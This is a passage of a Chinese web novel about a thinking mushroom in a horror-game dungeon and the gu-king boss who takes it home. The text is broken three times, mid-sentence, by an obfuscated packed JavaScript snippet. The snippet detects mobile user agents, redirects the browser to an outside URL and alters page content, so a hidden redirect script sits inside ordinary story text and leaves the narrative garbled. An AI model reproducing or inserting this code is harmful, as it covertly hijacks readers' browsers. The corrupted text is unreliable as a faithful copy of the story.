《苗疆少年的蘑蘑被亲菇了》 1. 恐怖苗疆 夜晚的深山老林怀抱着死寂,只听得见一行人靴子踩在落叶上的细碎声音。 “这就是大名鼎鼎的【恐怖苗疆】?”走了快半个小时,还没有看见活物的影子,一个壮汉随口发牢骚,“我看着也不怎么恐怖啊。” 一旁的女人嗤笑一声:“没想到在噩梦级难度的副本里,还能遇上这么天真可爱的‘勇士’。” 听见人类的争吵,顾初眠立刻八卦地伸长了杆杆。 他朝着声音传来的方向,探出他的脑袋。 顾初眠是一朵小蘑菇。 你要问他的学名,他叫毛头鬼伞。 苗疆的山民们,通常叫他鸡腿菇。 顾初眠刚长出来时确实挺像白鸡腿的。 长大了也就不那样了,带上点毒性,会成熟稳重很多。 他不喜欢鸡腿菇这个乳名。 听着有点丢菇,真不想让其他蘑菇知道。 顾初眠生活在一个很奇怪的世界里。 在这里,每隔七天,事情就会重新发生一遍。 如果蘑菇的一生也有使命的话—— 顾初眠的使命,就是白白胖胖地从地里钻出来,努力长出一点吓唬人的黑色边边。 然后被一群很吵的家伙看见,再被一个少年采到手里。 少年会拿着他,和这群很吵的家伙说上几句话。 流程很简单,顾初眠一只蘑菇都会背了。 壮汉被讽刺到了,瞪圆了眼睛:“你这小妮子,什么意思?” “字面意思。” 女人也并不怕他,她手中的匕首闪着幽蓝色的光芒,反射出她冷漠中带着敬畏的双眼。 “没做过攻略吗?【恐怖苗疆】,游戏内现有副本里死亡率最高的,副本已经开启三百六十六次,团灭概率高达百分之九十九。” “截至目前,成功脱出副本的玩家,只有三个,至于全须全尾的……一个都没有。” 她话音落下,恰好一阵阴风吹过,众人齐齐打了个寒颤。 “也就是听着唬人……” 壮汉被驳了面子,移开视线,看看天又看看地。 忽然,他的眼珠子定定看向某一处,不动了。 ——在一截半埋在土里的腐木上,长着一朵白里透黑的小蘑菇。 白里本来是不该透黑的,洁白无瑕的菌盖边缘却沾染了黑色的粘液。 浓稠的黑色汇集成水滴形状挂在菌盖上,仿佛下一秒就要滴落下来。 然后,污染一切。 “这蘑菇,长得还挺可爱的。” 在壮汉脑子还没反应过来以前,双腿就已经不受控制地朝着那个方向走去。 顾初眠被点了名,在心里哼唧一声,骄傲地挺起菌杆。 这个大只人类虽然笨不拉几的,眼光倒是意外地不错。 他当然!就是!很可爱啊! 女人发现异常,皱着眉头扬声喊:“喂!你疯了?!路边的蘑菇你也敢乱采?!” 壮汉咽了口口水,喃喃道:“别管我……不知道为什么,我看到它,就特别特别想要拥有它……” 顾初眠把蘑菇伞伞抬得更高了。 他可是这座山上最圆的蘑菇! 哪怕被树根绊得趔趄,壮汉也并没有停下脚步。 带着痴迷的神情,他缓缓对着蘑菇伸出了双手。 “蘑菇……美味……抓住你……炖汤喝……” 顾初眠听见这句话,像是被雷劈了一样,整只蘑菇抻直了。 蒸蘑肥事?!! 这个人类夸他,居然是为了把他吃掉?!! 气死菇啦,居然欺骗菇的感情!!! 还好还好,他是不可能被这些家伙摘到的。 近了—— 更近了—— 就在壮汉要碰到蘑菇的那一刻—— 一双白得毫无血色的手忽然从树后伸出。 抢先一步,摘下了顾初眠。 【……人来了!】 顾初眠菇仗人势地挺直了他的菌杆。 他用杆杆的末端,轻轻蹭了蹭人的小指。 【菇又见到人了,好开心!】 “什,什么人?!”壮汉猛然惊醒。 玩家们严阵以待,拿起防身保命的道具,齐齐对准这个方向,却没人敢先出手。 树后不紧不慢地走出一个穿着苗服的长发少年。 少年的瞳孔漆黑,如深不见底的沼泽。 看人时仿佛是在看死物,没有一丝情绪。 他握着顾初眠的白色杆杆,抬起眼。 “外乡人,别碰我的蘑菇。” 薄唇开合,冷冷警告。 他说话的同时,周围忽然响起轻微的嘶嘶声。 “……什么声音?” “……有蛇!” “……好多蛇!” 此起彼伏的惊呼声响起。 众人这才发现,不知不觉间,他们居然已经被无数毒蛇包围。 少年冷眼看着这一幕,抬起一根手指,放在唇畔。 “嘘,乖乖的,站在原地,不要乱动——它们不喜欢。” 当五彩斑斓的毒蛇缠上玩家们的小腿,他们也知道了来者的身份。 【恐怖苗疆】副本的守关boss,万毒蛊王,符歇。 那个无限游戏论坛的boss交流区里,难度评分10.0的恐怖家伙! 值得注意的是: 10.0是评分系统的上限,不是这位蛊王的上限。 不同于其他boss沸沸扬扬的通关讨论栏。 这位boss的通关讨论栏,总共就只有三条幸存玩家的评价: 评价一:向boss下跪没用!亲测无效!蛊王小哥跟听不懂人话似的,不是很能交流。 评价二:从来没见过这么多种毒物,最后关头被银环蛇咬伤了,还好救治及时…… 评价三:好消息,蛊王本人不杀你;坏消息,除了蛊王整个苗疆都想要你小命! 所有玩家都被迫地学会安静下来。 见终于安分了,符歇缓缓开口:“不想死的,记住这里的规矩。” “第一,未经允许,不得采摘任何蘑菇。” 【也就是——我!】 顾初眠抖了抖伞伞,耀武扬威。 符歇是顾蘑菇最喜欢的人类。 不止长得好看,而且特别善良! 他每隔七天,就会到山里来,捡走一些迷路的可怜人。 还会不允许其他人类乱采蘑菇,保护苗疆的生态环境。 最重要的!他会把顾蘑菇捧在手心里,给菇带好吃的枯树叶。 ——要知道,那么多蘑菇里,少年每次都只捧顾蘑菇一个呢! 【人好!菇喜欢!】 周围的众人噤若寒蝉,只有顾蘑菇崇拜地看着符歇。 符歇讲话时,顾蘑菇十分捧场。 “第二,热情好客的苗寨已为各位远道而来的客人准备好了房间,入夜以后,不要出门。” 顾蘑菇把杆杆扭过来:嗯嗯!对对! “第三,无论是白日还是夜晚,这片土地都很凶险,我奉劝各位,不要私自踏足任何苗寨以外的区域,也不要胡乱在苗寨内探索。” 顾蘑菇把杆杆扭过去:嗯嗯!没错! 少年就这样维持着毫无感情的语气,一口气说完了所有副本必须公布的规则,机械而熟练。 他让开身子,露出远处灯火通明的苗寨,下了最后通牒: “好言难劝该死的鬼,各位客人,踏入苗疆,生死自负。” 到这里,顾初眠的蘑生使命就算完成了。 在以往的轮回中,符歇会把他重新种回那块腐朽的木头上,顺便捡几片落叶喂给他当肥料。 顾蘑菇吃得饱饱的,想长的话再努力长高些,不想长也可以偷懒。 七天过去,他又会变回白白胖胖的小鸡腿菇,等待一群新的人来到这里发现他。 可是今天,符歇却奇怪地握着他不放,把他也带回了苗寨。 顾蘑菇:咦?什蘑情况? 他的伞盖垂下来,软趴趴地耷拉在符歇的手指上,试图寻求庇护。 符歇把那群人带进了寨子里,指着空置的房间,面无表情地说: “两人一间,想与谁同住自便。” “一定要两个人一个房间吗?能不能三个人住一起?”一个胆小的玩家怯生生地问。 符歇没说话,抖了抖手腕。 苗服的袖口爬出一条竹叶青蛇。 竹叶青瞪着两只黑豆豆似的眼睛,吐着蛇信子,与发问的玩家对视。 玩家吓得腿肚子打抖,再也不敢乱问问题。 被蛇信子蹭到的顾初眠:呜呜呜! 顾初眠委屈地拿杆杆末端踹蛇的大脸。 【臭蛇!都把菇弄脏啦!】 那条竹叶青无意间舔了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401826|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口顾初眠后,忽然浑身僵直。 “啪”地一声,摔在了地上,不省蛇事。 顾初眠顾不上脏了,直接呆住。 【完啦完啦,菇好像……把毒蛇……毒死了?】 见状,符歇眸色一深。 他拿出一个小盒子,揭开盒盖。 捏出一只蛊虫,扔到了竹叶青吐着白沫的蛇口中。 片刻后,那条竹叶青渐渐恢复了活力,爬回了符歇的袖子里。 顾初眠也松了口气,晃了晃蘑菇头。 好险好险,差点就成杀蛇犯了! “又是蛇,又是蛊,还有毒蘑菇。”透过窗看见这一幕,有玩家低声感叹,“这位万毒蛊王确实是个危险人物,幸好,他目前还没有展现出对我们的敌意。” 符歇五感敏锐,听见了玩家的议论,并未有任何表示。 握着顾初眠,离开了玩家的居所,走到了石子路上。 忽然,他低下头,神情冰冷,看着手里从摘下来开始、就一直在扭来扭去的蘑菇: “你是个蘑菇,你会思考,你自己不觉得奇怪吗?” 顾蘑菇:……咦?! 符歇一语惊醒梦中蘑。 对哦,他不是蘑菇吗?他怎么会思考了? 见手中的蘑菇呆住,符歇用苍白的指尖轻掐蘑菇的伞盖: “你会思考多久了?” 顾蘑菇呆呆地没动,他不会说话。 符歇也看出了这一点,沉吟片刻:“我来说,我说准了,你就抖。” 符歇:“是我上次摘你时?” 符歇:“还是上上次?” 顾初眠没有抖。 因为……好像……都还要更久。 没见到蘑菇有反应,符歇蹙眉: “都不是?” 这下,手里的蘑菇终于迟疑着抖了抖。 得到回应,符歇立刻沉下神色。 “跟我去见巫医。” 寨子最西头的吊脚楼,住着全苗寨唯一一位巫医黎菁。 “唔……”黎菁医人无数,没给蘑菇看过诊,隔着手帕,把着蘑菇不存在的脉门,“估计是和你接触太多的缘故。” 她站起身,绕着符歇缓缓走了一圈,一边观察他,一边慢吞吞地说: “你是万毒之王,和你接触过的毒物,毒性和灵性都会增强。其中,也有非常非常小的概率,会像他一样,生出灵智,变成精怪。” 顾初眠很认可地点了点头。 【就是嘛!】 他的毒性明明很弱,怎么能毒晕蛇呢? 原来他变成大坏蘑菇精了! 符歇冷着脸,静静坐在桌前,低头看着躺在手帕里的小蘑菇。 黎菁疑惑地问:“怎么不说话?你在想什么?” 符歇垂眸:“是我不该,每次都拿着它讲解规则。” “阿歇,你也不要太自责。”顺着他的目光,黎菁也看向顾初眠,“这是苗疆第一只生出灵智的蘑菇,我们应该为他高兴才对。” ……可是,在这片无尽轮回的土地上,有自己的思想,多寂寞啊。 黎菁刚一说完,符歇忽然拿起蘑菇,往外走去。 “诶,你去干什么?”黎菁在后头招手,高声呼唤。 “把他种回土里。” 少年言简意赅,只留下一个孤寂的背影。 半夜三更,符歇把顾初眠种回了那一截朽木上。 他依旧顺手拿了几片树叶,垫在了蘑菇的根部,确保在这一个轮回,蘑菇能不愁养料。 做完一切后,少年勾下脑袋,胸前的银器碰撞作响。 他深深看了顾蘑菇一眼。 “……下个轮回见。” 顾初眠乖巧地摇了摇伞盖,学着黎菁的样子,和少年招手。 符歇眼珠微颤,迅速抽身,像是被什么看不见的火焰烫到似的。 他拈了拈指尖沾上的泥土,依照习惯,走向一旁深紫色的水潭。 ——接待完了麻烦的玩家们,也该洗个澡了。 【就是这时!菇噜菇噜!】 少年刚一转身,顾初眠就把自己从木头里拔出来。 他蜷起蘑菇杆杆,像是一个球一样,圆滚滚地栽倒下去。 咕噜一下,熟练地滚到了水潭边的隐秘角落。 这里是顾蘑菇严选的最佳观景地! 欢迎收看【恐怖苗疆】5A级演出——【蛊王出浴】! 2. 蛊王出浴 致命的毒潭中,传来了淅淅沥沥的水声。 少年蛊王不经意地撩起冰凉的潭水,浇遍身上每一块肌肉。 水珠在他冷白的皮肤上流连滚动,最终依依不舍地滴落。 劲瘦有力的腰肢被浸没,锁骨处盛着两汪浅浅的水洼。 蛊王的洗澡水对于毒物来说是上好的补品。 顾初眠趁机把蘑菇伞伞蘸进水里滚了一圈,细致地把每一个边边角角都浸湿。 【呼——哈!】 一瞬间,整只菇都更通透了呢! 趁着符歇擦干水穿衣服时,顾初眠迅速缩起杆杆,把自己伪装成一块有花纹的石头。 夜色深浓,少年路过他身边,小蘑菇藏在石头堆里,并不起眼。 人已经走过去了,顾初眠刚要松口气。 忽然,两根手指揪住他的蘑菇头,把他从土里揪了出来。 顾蘑菇:?!! 完蛋啦! 菇蹭人的洗澡水,被发现啦! 少年带着疑惑,把蘑菇拎到了眼前。 蘑菇脑袋被人揪住,顾初眠讨好地晃了晃杆杆。 “你怎么从上面滚下来了?”符歇稍显不解,“……是我种得不够深?” 没有人会去怀疑,一朵蘑菇居然蓄意蹭人的洗澡水。 符歇也不会。 顾初眠有一点点心虚。 但更多是松了口气,蘑菇伞伞都展开了。 少年暂时还看不出来蘑菇伞伞舒展代表的意思。 他把顾初眠带上山坡,重新种回了原来的地方。 这一次,他刻意把蘑菇的杆杆埋得深了些,就露出一个蘑菇脑袋。 顾初眠:呜呜,喘不过气了,好憋菇! 不过没关系,等人走了,菇可以自己调整。 符歇看着周围一动不动的普通植物,又看向活泼到一分钟八百个动作的顾蘑菇。 他想说些什么:“你……” “算了。” 最终却没有说完,垂下眼,转身离开了。 顾蘑菇并不知道人想说什么。 当人走后,蘑菇的世界忽然变得怪怪的。 ——准确来说,在意识到自己开智以后,顾蘑菇的世界就变得怪怪的。 他非常非常想和其他蘑菇交流,就像和少年时交流那样,摇摇杆杆,晃晃伞伞,互相聊天打招呼。 可是,其他蘑菇是没有意识的。 顾初眠是全苗疆唯一一朵开了灵智的小蘑菇。 少年走后,他叫天天不应,叫地地不灵。 这么看起来,比起其他的蘑菇,少年才像是顾蘑菇的同类。 顾蘑菇找不到玩伴,有些委屈。 他整只蘑菇都萎靡了,蘑菇伞伞无精打采地垂下来。 身旁都是美味的落叶,他一口也不想吃。 【……菇不开心!】 顾蘑菇就这么一直别扭到第二日天光亮起,远处传来人类的交谈声。 符歇带着玩家们路过这里,要去寻找任务需要的道具。 “太阳落山之前,找到三种驱蛇的草药。” “草药长什么样啊?” “不知。” “摘错了会不会发生什么?” “无可奉告。” 少年冷着脸,漠然地应付着玩家的问题。 除了规则要求他必须要交代的信息,和要求他必须要做的事以外,他从来不画蛇添足。 这也就是为什么玩家评价他——“蛊王小哥跟听不懂人话似的,不是很能交流”。 爬上山坡,看见耷拉着的蘑菇伞伞。 走在最前面的少年,脚步明显顿了一下。 今天的蘑菇,看起来有点……悲伤? 见到符歇,顾初眠终于有了些精神。 他把蘑菇伞伞撑到最开,像是开了屏的孔雀,想要引起少年的注意。 【人!快来陪菇玩!】 “您怎么不走了?”玩家们不明所以,精英打扮的男人出来交涉,“不是说,再不快点,就要赶不及了吗?” “嗯,要快。” 符歇被唤回神。 方才的停顿只是一瞬,他移开视线,迈出脚步,逐渐远离了悲伤的小蘑菇。 见少年完全不打算管自己,顾蘑菇更悲伤了。 【苍天啦!大地啦!】 【菇没人要啦!】 顾蘑菇心碎一地,只能自己用伞伞抱住了自己。 不知过了多久,缩成一团的蘑菇前,忽然出现了一片阴影。 有人,在用手指,敲蘑菇软软的脑壳。 咚咚咚,就像是在叩开一扇小小的门。 顾初眠一点一点,把蘑菇盖盖打开。 眼前的人,是引导完玩家、去而复返的符歇。 少年依旧是冷冷的表情,语气平淡,没有起伏,说完昨夜没说完的话: “你愿意,跟我回家吗?” 顾蘑菇:!!! 【什蘑?菇没听错吧?!!】 他就说少年是大好人! 肯定不会不管他的! 见顾蘑菇呆滞,符歇用手指点了点它的蘑菇脑袋。 “愿意就点头,不愿意就摇头。” 顾蘑菇立刻点了点头。 生怕少年没看清,他又猛烈地重新点了很多下。 “好。”少年再一次把顾蘑菇摘下来。 顾蘑菇乐滋滋地躺在少年冰凉的掌心里。 【——回家!】 他现在是有家的蘑菇啦! 苗寨依山傍水,符歇的小楼,位于整座苗寨的最高处。 周围没有其他的屋子,显得有些孤零零的。 就像是少年本人一样,孑然一身。 符歇把顾初眠带回了家,家里却没有花盆。 沉吟片刻后,少年拿出一个古朴的青花瓷碗,盛了些土,把顾蘑菇种了进去。 如果顾蘑菇是人类的话,他或许能看出这个青花瓷碗是某朝御赐的天价古董,却被拿来给一朵蘑菇做花盆。 符歇将瓷碗放在了通风透光的窗前。 顾蘑菇使劲摇了摇蘑菇脑袋,表达他小小的抗议。 【不要太阳!】 “不喜欢这里?”符歇听不见蘑菇的话语,只能凭借着动作揣测,“那你想被放在哪?” 顾蘑菇倾倒向一个方向,用蘑菇脑袋当箭头,指来指去。 初次看到这样离奇的场面,少年一言难尽地沉默了一下。 然后他轻轻吐出一口气,端起瓷碗。 遵循着蘑菇头指南针的指示,往顾蘑菇想要的方向走。 一人一菇进了卧室,最终,顾蘑菇深思熟虑后,指向了符歇阴凉的床头柜。 符歇把瓷碗放在了床头柜上,向蘑菇确认: “你要待在这儿?” 【嗯嗯!】 顾蘑菇点了点头,表示认可。 蘑菇喜欢这里,这里人的气味最浓。 “好。”符歇抚了一下蘑菇脑袋,“你在家乖乖待着,我得去接玩家了,晚上就回来。” 顾蘑菇又点了点头,表示明白。 继每个轮回都被少年采摘后,小蘑菇又有了新的蘑生使命: 乖乖待着,等少年回家! 当远处绵延的黑色峰峦一点一点把血红色的夕阳蚕食殆尽后,符歇如约回来了。 他捡回来一些枯叶,放进瓷碗中,这是他给顾蘑菇准备的食物。 “我没养过蘑菇。”少年一片一片放完叶子,抿唇轻声说,“哪里做得不好,你要提醒我。” 顾蘑菇昨日赌气没吃饭,此刻正摇头晃脑地啃着叶子。 十分之陶醉,完全听不见少年在说什么。 看着独蘑乱舞的蘑菇,符歇无奈地叹了口气,起身给自己做晚饭。 符歇在屋外吃饭,顾蘑菇在屋里啃枯叶。 忽然,木头房梁上响起簌簌声。 符歇听见了,习以为常,依旧吃着他的饭,眼皮都没有抬一下。 顾蘑菇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401827|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啃了小半片叶子,刚刚心满意足地抬起蘑菇脑袋。 却发现头顶的房梁上,垂下来许多条……长长的尾巴? 不止如此,卧室的床底,还爬出了无数只漆黑的、长着尾钳的毒虫。 从顾蘑菇的角度来看,毒物们正在从四面八方向着他爬来。 顾初眠愣了一下,一头扎回了泥土里,瑟瑟发抖。 可惜他是一朵蘑菇,不会喊叫。 如果他会喊的话,此刻肯定已经喊出声: ——有蛇! ——蝎子! ——人!快来救菇! 一阵爬行动物移动的剐蹭声音中,忽然响起一阵无比悦耳的人类脚步。 符歇把瓷碗端了起来:“差点忘了,你还在屋子里,吓到你了?” 顾蘑菇小心翼翼地从碗里抬起脑袋。 他惊讶地发现:这群毒物居然在……打扫房间? 蝎子正在用钳子叠衣服,蛇正在用抹布擦地。 顾蘑菇松了口气,用伞沿蹭少年的手指。 【呜呜呜!差点就被吃掉啦!】 “别怕,它们都在被我操控。” 少年像是看懂了蘑菇的恐惧,安抚地摸了摸蘑菇的伞伞。 与此同时,他直接示范给蘑菇看。 轻轻抬手,食指微动,领头那只紫红色的蝎子随之挥舞了一下毒钳。 简单安慰完蘑菇,符歇交代:“我要去洗碗了。” 顾蘑菇还是好怕,趴在少年的手指上不愿意让开。 符歇微微挑眉,意识到什么,匪夷所思: “……你一只蘑菇,居然怕蛇和蝎子?” 顾蘑菇僵了一下,别扭地不愿意承认。 但事实确实就是这样的。 被一朵蘑菇抓住了手指,符歇也没办法了,只能端上蘑菇一起去洗碗。 今天一天都在忙着处理玩家的事情,符歇回来得有些晚。 等打理好家务,夜已经很深了。 他换了一套藏青色的短褂,盖着被子躺在了金丝楠木雕花床上。 顾蘑菇也被放在了床头。 见到少年睡床的一幕,发现了新世界的顾蘑菇看呆了。 符歇居然没有把腿塞进土里! 而是躺在了一块巨大木板上! ……这么睡觉,会更舒服吗? 思索了一会儿后,顾蘑菇学着少年的样子。 蘑菇脑袋一歪,试探性地躺在了枯叶子上。 【哇——】 这么一躺,蘑菇杆杆不酸了,伞伞不疼了,整只蘑菇都精神了! 顾初眠幸福极了。 就是杆杆被风吹得有点凉…… 顾蘑菇又对着躺在床上的人,自菇自地琢蘑了起来。 人躺着睡时,会在身上盖一块布! 顾初眠领悟到了精髓,用伞沿扒拉了几片叶子,盖在了自己的白色杆杆上。 ……果然! 这下真的就一点也不冷了! 这就是!人的智慧! 符歇一扭头,看见睡在叶子堆里的小蘑菇,愣了一下。 确认没看错以后,他坐起身,露出了有些棘手的懊恼神情: “你是蘑菇,你不用躺着睡觉。” 顾蘑菇不管,软趴趴地躺着,把上边的叶子当被子,下边的叶子当枕头。 【人这么睡!菇也要这么睡!】 “……蘑菇就没有这么睡的。”符歇还在试图劝说。 顾蘑菇懒洋洋地动了一下,换了一个躺姿。 【菇不管!】 【菇就要!】 “算了。” 见他就想要这么睡,少年又有些心软。 “你非要睡……也不是不行。” 说服不了顾初眠,符歇只能说服他自己。 “反正你是开了灵智的蘑菇,和普通蘑菇不一样。” 应该……不一样吧? 看着睡得伞伞一颤一颤的顾蘑菇,符歇陷入了深深的自我怀疑。 3. 我的蘑菇 第二天一早,小楼的门就被敲响了。 符歇起身去开门,原来是滕阿婆家今日要杀猪,找符歇这个主事的去帮忙张罗。 顾初眠好奇地探着蘑菇脑袋,听见符歇无奈地交涉: “阿婆,您家的猪每周都得杀一回,活过来就宰,宰了又会活。杀猪这么费事费力的活计,又不涉及玩家的任务,何必呢?” 比起对玩家的冷硬态度,此刻少年的话语堪称是发自肺腑。 ——哪怕是蛊王,也是会为杀猪为难的呀! 滕阿婆拄着拐杖,坚定摇头:“外乡人的事不归我老人家管,猪再不杀,老了就不好吃了!一周杀一次猪,吃一周的肉,刚刚好!” “……知道了。” 少年一时语塞,抿唇答应下来。 客气地送走了滕阿婆后,少年抬起手背盖在眼前,怅怅然叹了一声。 猪,四百斤的土猪。 味道那么大,发起疯来能把人肋骨都撞断。 符歇宁愿吃七天素,也不想杀一头猪! 但是没办法。 他是寨子的主事,必须完成寨民的委托。 少年走回床头,蹲下身子,看着顾初眠。 顾蘑菇见少年惆怅,摇摆着杆杆,试图引起少年的注意,逗他开心。 符歇确实注意到了。 他拿一根食指按着顾初眠的脑袋,按住了躁动的蘑菇。 然后带着疑惑真诚发问:“你很痒吗?” 不然为什么忽然开始蹭来蹭去? 顾初眠:……咦耶? 顾蘑菇呆住了,他的热情被一双看不见的大手无情掐灭。 符歇刚想伸手帮身上痒痒的小蘑菇挠一挠,蘑菇忽然就不动弹了。 符歇的手在空中突兀地悬停。 “又好了?” ——不是好了,是走了。 走了有一会儿了。 “我去帮人家杀猪了。”顶着一张冷淡的俊脸,符歇嘱咐道,“太阳落山后就回来。” 又要一只菇自己待着,顾蘑菇立刻蔫了。 他把蘑菇脑袋塞进叶子堆里,不想搭理这个不着家的男人。 知道蘑菇不高兴,符歇犹豫着补充:“那我……太阳落山前就回来。” 蘑菇脑袋动了动,还是没钻出叶子堆。 少年抿唇,又轻声哄:“傍晚回来,给你带很多很多的叶子,五颜六色的,晚上睡觉你可以换着盖。” 顾蘑菇这才心情好了些,慢吞吞地抬起头,对着少年招了招。 “傍晚见。” 符歇唇角轻轻勾了一下,很快又压平。 他恢复成了那副生人勿近的少年蛊王模样,从厨房里提起一把刀,走出了小楼。 黄昏时分,顾蘑菇听见了房门被打开的声音。 【人回来了!】 一想到符歇答应给他带很多叶子,顾初眠满心欢喜。 可是没想到,进来的却不是符歇。 而是两个玩家。 “快点。”壮汉催促道,“趁着那个神经病boss还没回来,找找他的老巢里有没有什么线索!” “急什么,说话小点声。”西装男冷静地走进屋子,有条不紊地翻箱倒柜,“说起来,蛊王出门时,手上拎着那么长一把刀,你看见没?我敢肯定,他今天一定会大开杀戒了。” 顾蘑菇:嗝,确实是杀戒。 不过是杀猪的戒。 壮汉哆嗦了一下:“不知道哪个倒霉的家伙,会正面撞上他,还好兄弟你聪明,知道这个叫什么,声东击西!” “好了,别废话。”西装男烦躁不安地打断,“快点找线索。” 壮汉闭上了嘴,学着西装男的样子,在屋子里翻找。 一路摸进了卧房,看见了床头柜上的陶瓷碗,壮汉诧异出声:“这不是前天boss不让我们摘的蘑菇吗?” 壮汉记得顾初眠,顾初眠也记得壮汉。 ——这不是前天说要把他煮了吃的人类吗! 顾蘑菇不想搭理这家伙,一动不动,把自己伪装成一朵普通的蘑菇。 反正符歇早就已经告诉他们了,不能摘蘑菇。 他们但凡有脑子,就不会动他。 西装男闻言,也跟着走了进来。 看见熟悉的蘑菇,他眼中闪过一丝诧异。 规则说了,不能摘蘑菇。 可是蛊王却摘了,不止摘了,还放在了床头。 记得这朵蘑菇,从一开始就被蛊王拿在手里。 ……难道,有什么含义? 看着碗里的蘑菇,一时间两个人都莫名生出了觊觎之心。 “兄弟,兄弟。”壮汉有些激动地喊西装男,“你说,这蘑菇,会不会是通关的重要道具!” 西装男沉吟了一下,忽然露出热情的笑容: “嗯,你说的确实有道理,我怎么就没想到呢?那这蘑菇,我们……” 壮汉见西装男盯着蘑菇看,他连忙抢先一步,把蘑菇拔起来,塞进口袋里。 “我发现的!还是我来保管吧!” “哎,也行。”西装男压住翘起的嘴角,露出遗憾的神情。 ——这样就上钩了? 这人蠢得未免太过了头。 被忽然一把抓起塞进口袋的顾初眠:唔……唔唔? 这俩人还真没脑子啊?! 顾蘑菇被迫待在了暗无天日的口袋中。 拿到蘑菇后,西装男和壮汉果断撤出了boss的居所,匆匆往玩家暂住的地方赶去。 走到半路,忽然迎面走来一个带着煞气的身影。 “不好……是蛊王!”壮汉惊慌道。 少年冷着脸,一步步走近。 手中提着的长刀源源不断地往下滴着血,明显刚才发生过血流成河的恐怖事情。 血腥的味道弥漫,几乎是铺天盖地。 那一瞬间,两个玩家同时感受到了呼吸困难。 见到玩家出现在这里,符歇无波无澜地问: “你们,来这里干什么?” 听见少年的声音,口袋里的顾蘑菇剧烈挣扎了起来。 【人!菇在这里!】 【快来救菇!!!】 壮汉感受到蘑菇在动,悚然一惊。 难道是……道具被蛊王召唤了? 他立刻伸手,捏住了口袋里的蘑菇,尽量不让他发出动静。 脑袋被掐扁的顾蘑菇:……救……救……菇! 西装男深吸一口气,陪着笑开口:“蛊王小哥,我们就是想四处散散步,看看苗疆的风土人情。” 符歇抬眼,淡淡问:“规则,忘了?” “没忘,没忘,我们没乱闯别人家里!也没有出苗寨,就是单纯逛逛,逛逛。” 西装男后背已经被冷汗浸湿,强撑着说。 顾初眠:骗人!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401828|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不止进了人的家,还偷了菇! 符歇听完,并不回话。 他的眼神在西装男和壮汉之间逡巡,最终停在了明显更加紧张的壮汉身上。 然后从上到下地,把壮汉扫视了一遍。 从神情,到穿着,最后停留在他一直放在口袋里的左手上。 壮汉几乎是吓破了胆,梗着脖子喊:“别看我,我,我什么都没偷!” 顾蘑菇倒是想要制造点动静,提醒少年。 却被壮汉的手死死按在口袋里,动弹不得。 符歇知道这两个人心里有鬼。 可眼见着远处的太阳一点点西沉。 他急着回去,兑现对蘑菇的承诺。 “最好如此。”少年提着滴着血的刀,森寒开口,“如果让我发现,你们在撒谎——” 他轻轻张开嘴,一只蜈蚣从他的舌头底下爬了出来,幽幽盘踞在他的脸上。 “——你们,知道后果。” 等两个玩家再回过神,符歇已经走出很远了。 连滚带爬地回到了玩家的住所,壮汉和西装男看着蘑菇,不知所措。 “我们……现在拿这个蘑菇怎么办?” “都怪你,非得把他带回来!”西装男已经红了眼,咬牙切齿地斥责,“现在好了吧,我们都被蛊王盯上了!” 壮汉忐忑不安地捏紧了拳头:“我就不信了,我们就咬死不承认,他能拿我们怎么样?” “还‘怎么样’,这些boss杀你,需要找理由?”西装男讥诮地笑了一下,“快点看看这个蘑菇有什么用,没用的话,趁早塞到别人的屋子里,嫁祸给其他人。” 顾初眠:你才没有用呢! ——这两个人也太坏了! 不像符歇,品德高洁,诚信守诺! 两个玩家凑到桌子边,打量这朵白得发黑的蘑菇。 看着看着,壮汉又像是入了迷似的,咽了口口水,轻轻开口:“兄弟,你觉不觉得,这蘑菇……看上去……真的很可口。” “是啊。”西装男也一反常态,表示了认同,“要不,我们趁着蛊王找上门之前,把它吃干抹净?” 顾初眠听完,整只菇都不好了。 【救命!!!有人要吃菇!!!】 壮汉痴迷地看着桌上的蘑菇,刚才握过蘑菇的手上,仿佛还残留着蘑菇的清香。 壮汉忍不住把手放在鼻子前,陶醉地吸了一口。 “这小蘑菇,真香……呃……” 他话都还没说完,瞳孔放大,猝然倒地。 壮汉后脑勺狠狠砸在了地上,发出一声巨响。 西装男这才猛然惊醒,趔趄了几步,远离了桌子上的蘑菇。 “不好,蘑菇有毒!” 就在这时,被门闩紧紧拴着的门忽然被敲响。 叩——叩—— 两声礼貌性的敲门声响完。 突然,一把长刀毫无征兆地捅进门缝中。 极速劈下,“夸嚓”一声,砍断了厚实的实木门闩。 木门缓缓向两边打开,漆黑的夜色中,踏出一个颀长的身影。 西装男吓得跌坐在地,仰头看着眼前的人。 